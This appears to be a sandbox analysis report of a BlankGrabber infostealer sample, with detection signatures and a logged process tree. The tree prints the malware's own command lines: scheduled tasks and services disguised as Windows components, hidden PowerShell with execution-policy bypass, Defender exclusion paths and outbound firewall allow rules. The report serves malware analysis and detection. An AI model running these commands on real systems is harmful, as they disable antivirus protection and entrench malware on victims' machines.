Overview

overview

10

Static

static

3

2026-08-04...om.exe

windows10-2004-x64

10

2026-08-04...om.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    75s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 14:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-04_c049431a1ec2305a7dac5fc168288c10_blankgrabber_cobalt-strike_coinminer_icedid_njrat_satacom.exe
  • Size 68.7MB
  • Sample260804-rmx1jssemg
  • SHA256 7563c675b473dac235a9fec3b7d82e3eaea406f82ac139ed6179a84ef9cc8dbf
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionblankgrabberpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Family: blankgrabber

    Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.

    stealerblankgrabber
  • A stealer written in Python and packaged with Pyinstaller 13 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 13 IoCs
  • Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution 13 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 13 IoCs
  • Detects executables Discord URL observed in first stage droppers 13 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 13 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 13 IoCs
  • Detects executables referencing combination of virtualization drivers 13 IoCs
  • Detects executables referencing many IR and analysis tools 13 IoCs
  • Detects executables referencing virtualization MAC addresses 13 IoCs
  • Adds policy Run key to start application 2 TTPs 12 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 4 IoCs
  • Creates a file in the Startup directory 1 TTPs 4 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 15 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 15 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 9 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in System32 directory 7 IoCs
  • Launches sc.exe 23 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Control Panel 9 IoCs
    defense_evasion
  • Modifies registry class 10 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_c049431a1ec2305a7dac5fc168288c10_blankgrabber_cobalt-strike_coinminer_icedid_njrat_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-04_c049431a1ec2305a7dac5fc168288c10_blankgrabber_cobalt-strike_coinminer_icedid_njrat_satacom.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4328
    • C:\Users\Admin\AppData\Local\Temp\2026-08-04_c049431a1ec2305a7dac5fc168288c10_blankgrabber_cobalt-strike_coinminer_icedid_njrat_satacom.exe
      C:\Users\Admin\AppData\Local\Temp\2026-08-04_c049431a1ec2305a7dac5fc168288c10_blankgrabber_cobalt-strike_coinminer_icedid_njrat_satacom.exe
      2⤵
      • Adds policy Run key to start application
      • Creates a file in the Startup directory
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Modifies Control Panel
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "ver"
        3⤵
        • Executes a command shell one-liner
        PID:3272
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /tn MicrosoftWindowsUpdateService /xml C:\Users\Admin\AppData\Local\Temp\wudf_task.xml /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\wmi_persist.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1536
      • C:\Windows\SYSTEM32\sc.exe
        sc create WUDFHostService "binPath= \"C:\Windows\SysWOW64\WUDFHost.exe\"" "start= auto" "DisplayName= \"Windows Driver Foundation Service\""
        3⤵
        • Launches sc.exe
        PID:1744
      • C:\Windows\SYSTEM32\sc.exe
        sc description WUDFHostService "Manages user-mode drivers on Windows"
        3⤵
        • Launches sc.exe
        PID:2944
      • C:\Windows\SYSTEM32\sc.exe
        sc start WUDFHostService
        3⤵
        • Launches sc.exe
        PID:1848
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\com_hijack.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1428
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /tn WindowsDriverFoundationUpdate /xml C:\Users\Admin\AppData\Local\Temp\wudf_task2.xml /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2172
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\SysWOW64\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2756
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\2026-08-04_c049431a1ec2305a7dac5fc168288c10_blankgrabber_cobalt-strike_coinminer_icedid_njrat_satacom.exe\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\SysWOW64\WUDFHost.exe\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\SysWOW64\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4488
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2564
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Helper\" -Direction Outbound -Program \"C:\Users\Admin\AppData\Local\Temp\2026-08-04_c049431a1ec2305a7dac5fc168288c10_blankgrabber_cobalt-strike_coinminer_icedid_njrat_satacom.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2292
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /query /tn MicrosoftWindowsUpdateService
        3⤵
          PID:4708
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /query /tn WindowsDriverFoundationUpdate
          3⤵
            PID:5004
          • C:\Windows\SYSTEM32\sc.exe
            sc query WUDFHostService
            3⤵
            • Launches sc.exe
            PID:312
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq \"WindowsUpdateFilter\"}"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4984
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:4008
        • C:\Windows\SysWOW64\WUDFHost.exe
          C:\Windows\SysWOW64\WUDFHost.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4976
          • C:\Windows\SysWOW64\WUDFHost.exe
            C:\Windows\SysWOW64\WUDFHost.exe
            2⤵
            • Adds policy Run key to start application
            • Drops file in Drivers directory
            • Creates a file in the Startup directory
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in System32 directory
            • Modifies Control Panel
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3948
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "ver"
              3⤵
              • Executes a command shell one-liner
              PID:4628
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn MicrosoftWindowsUpdateService /xml C:\Users\Admin\AppData\Local\Temp\wudf_task.xml /f
              3⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:5884
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\wmi_persist.ps1
              3⤵
              • Command and Scripting Interpreter: PowerShell
              PID:5936
            • C:\Windows\SysWOW64\sc.exe
              sc create WUDFHostService "binPath= \"C:\Windows\System32\drivers\etc\WUDFHost.exe\"" "start= auto" "DisplayName= \"Windows Driver Foundation Service\""
              3⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:4932
            • C:\Windows\SysWOW64\sc.exe
              sc description WUDFHostService "Manages user-mode drivers on Windows"
              3⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:1868
            • C:\Windows\SysWOW64\sc.exe
              sc start WUDFHostService
              3⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:724
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\com_hijack.ps1
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Modifies registry class
              PID:884
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn WindowsDriverFoundationUpdate /xml C:\Users\Admin\AppData\Local\Temp\wudf_task2.xml /f
              3⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:4924
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\System32\drivers\etc\WUDFHost.exe\""
              3⤵
              • Command and Scripting Interpreter: PowerShell
              PID:4120
              • C:\Windows\system32\wermgr.exe
                "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4120" "1832" "1744" "1836" "0" "0" "1840" "0" "0" "0" "0" "0"
                4⤵
                  PID:5456
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\SysWOW64\""
                3⤵
                • Command and Scripting Interpreter: PowerShell
                PID:64
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\SysWOW64\WUDFHost.exe\""
                3⤵
                • Command and Scripting Interpreter: PowerShell
                PID:3712
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\System32\drivers\etc\""
                3⤵
                • Command and Scripting Interpreter: PowerShell
                PID:1916
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\drivers\etc\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                PID:1536
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\SysWOW64\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                3⤵
                  PID:5480
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                  3⤵
                    PID:5032
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Helper\" -Direction Outbound -Program \"C:\Windows\SysWOW64\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:4588
                    • C:\Windows\system32\WerFault.exe
                      C:\Windows\system32\WerFault.exe -u -p 4588 -s 888
                      4⤵
                        PID:4732
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /query /tn MicrosoftWindowsUpdateService
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:5204
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /query /tn WindowsDriverFoundationUpdate
                      3⤵
                        PID:4228
                      • C:\Windows\SysWOW64\sc.exe
                        sc query WUDFHostService
                        3⤵
                        • Launches sc.exe
                        PID:960
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq \"WindowsUpdateFilter\"}"
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:4896
                  • C:\Windows\SysWOW64\WUDFHost.exe
                    "C:\Windows\SysWOW64\WUDFHost.exe"
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3728
                    • C:\Windows\SysWOW64\WUDFHost.exe
                      C:\Windows\SysWOW64\WUDFHost.exe
                      2⤵
                      • Adds policy Run key to start application
                      • Drops file in Drivers directory
                      • Creates a file in the Startup directory
                      • Executes dropped EXE
                      • Adds Run key to start application
                      • Drops file in System32 directory
                      • Modifies Control Panel
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:2920
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "ver"
                        3⤵
                        • Executes a command shell one-liner
                        PID:2284
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /tn MicrosoftWindowsUpdateService /xml C:\Users\Admin\AppData\Local\Temp\wudf_task.xml /f
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:5796
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\wmi_persist.ps1
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:5952
                      • C:\Windows\SysWOW64\sc.exe
                        sc create WUDFHostService "binPath= \"C:\Windows\System32\drivers\etc\WUDFHost.exe\"" "start= auto" "DisplayName= \"Windows Driver Foundation Service\""
                        3⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:456
                      • C:\Windows\SysWOW64\sc.exe
                        sc description WUDFHostService "Manages user-mode drivers on Windows"
                        3⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:4716
                      • C:\Windows\SysWOW64\sc.exe
                        sc start WUDFHostService
                        3⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:1692
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\com_hijack.ps1
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Modifies registry class
                        PID:4732
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /tn WindowsDriverFoundationUpdate /xml C:\Users\Admin\AppData\Local\Temp\wudf_task2.xml /f
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:4480
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\SysWOW64\""
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:5904
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\SysWOW64\WUDFHost.exe\""
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:5912
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\System32\drivers\etc\WUDFHost.exe\""
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:5924
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\System32\drivers\etc\""
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:5920
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\drivers\etc\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                        3⤵
                          PID:5852
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\SysWOW64\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                          3⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:5984
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                          3⤵
                            PID:6004
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Helper\" -Direction Outbound -Program \"C:\Windows\SysWOW64\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                            3⤵
                              PID:5064
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /query /tn MicrosoftWindowsUpdateService
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:5236
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /query /tn WindowsDriverFoundationUpdate
                              3⤵
                                PID:2056
                              • C:\Windows\SysWOW64\sc.exe
                                sc query WUDFHostService
                                3⤵
                                • Launches sc.exe
                                PID:6092
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  4⤵
                                    PID:312
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -Command "Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq \"WindowsUpdateFilter\"}"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:5312
                            • C:\Windows\system32\wbem\WmiApSrv.exe
                              C:\Windows\system32\wbem\WmiApSrv.exe
                              1⤵
                                PID:1584
                              • C:\Windows\System32\drivers\etc\WUDFHost.exe
                                C:\Windows\System32\drivers\etc\WUDFHost.exe
                                1⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:1948
                                • C:\Windows\System32\drivers\etc\WUDFHost.exe
                                  C:\Windows\System32\drivers\etc\WUDFHost.exe
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of WriteProcessMemory
                                  PID:6124
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "ver"
                                    3⤵
                                    • Executes a command shell one-liner
                                    PID:6128
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /create /tn MicrosoftWindowsUpdateService /xml C:\Users\Admin\AppData\Local\Temp\wudf_task.xml /f
                                    3⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:5856
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\wmi_persist.ps1
                                    3⤵
                                      PID:5544
                                    • C:\Windows\system32\sc.exe
                                      sc create WUDFHostService "binPath= \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\"" "start= auto" "DisplayName= \"Windows Driver Foundation Service\""
                                      3⤵
                                      • Launches sc.exe
                                      PID:5072
                                    • C:\Windows\system32\sc.exe
                                      sc description WUDFHostService "Manages user-mode drivers on Windows"
                                      3⤵
                                      • Launches sc.exe
                                      PID:5896
                                    • C:\Windows\system32\sc.exe
                                      sc start WUDFHostService
                                      3⤵
                                      • Launches sc.exe
                                      PID:4140
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\com_hijack.ps1
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:2360
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /create /tn WindowsDriverFoundationUpdate /xml C:\Users\Admin\AppData\Local\Temp\wudf_task2.xml /f
                                      3⤵
                                      • Scheduled Task/Job: Scheduled Task
                                      PID:3992
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\""
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:6036
                                      • C:\Windows\System32\Conhost.exe
                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        4⤵
                                          PID:6004
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\""
                                        3⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:6060
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\System32\drivers\etc\""
                                        3⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:4896
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Windows\System32\drivers\etc\WUDFHost.exe\""
                                        3⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:2932
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                        3⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:6028
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\drivers\etc\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                        3⤵
                                          PID:3024
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\SysWOW64\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                          3⤵
                                            PID:5244
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Service\" -Direction Outbound -Program \"C:\Windows\System32\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            PID:980
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName \"Windows Update Helper\" -Direction Outbound -Program \"C:\Windows\System32\drivers\etc\WUDFHost.exe\" -Action Allow -Profile Any -ErrorAction SilentlyContinue"
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            PID:5216
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /query /tn MicrosoftWindowsUpdateService
                                            3⤵
                                              PID:6032
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /query /tn WindowsDriverFoundationUpdate
                                              3⤵
                                                PID:4692
                                              • C:\Windows\system32\sc.exe
                                                sc query WUDFHostService
                                                3⤵
                                                • Launches sc.exe
                                                PID:1360
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -Command "Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq \"WindowsUpdateFilter\"}"
                                                3⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                PID:5816
                                                • C:\Windows\System32\Conhost.exe
                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  4⤵
                                                    PID:5920
                                            • C:\Windows\System32\drivers\etc\WUDFHost.exe
                                              "C:\Windows\System32\drivers\etc\WUDFHost.exe"
                                              1⤵
                                              • Executes dropped EXE
                                              • Suspicious use of WriteProcessMemory
                                              PID:3108
                                              • C:\Windows\System32\drivers\etc\WUDFHost.exe
                                                C:\Windows\System32\drivers\etc\WUDFHost.exe
                                                2⤵
                                                • Executes dropped EXE
                                                • Suspicious use of WriteProcessMemory
                                                PID:1804
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "ver"
                                                  3⤵
                                                  • Executes a command shell one-liner
                                                  PID:824
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 2056 -ip 2056
                                              1⤵
                                                PID:5356
                                              • C:\Windows\system32\WerFault.exe
                                                C:\Windows\system32\WerFault.exe -pss -s 804 -p 5920 -ip 5920
                                                1⤵
                                                  PID:64
                                                • C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe
                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe
                                                  1⤵
                                                    PID:5552
                                                    • C:\ProgramData\Microsoft\Windows\WER\ReportQueue\WUDFHost.exe
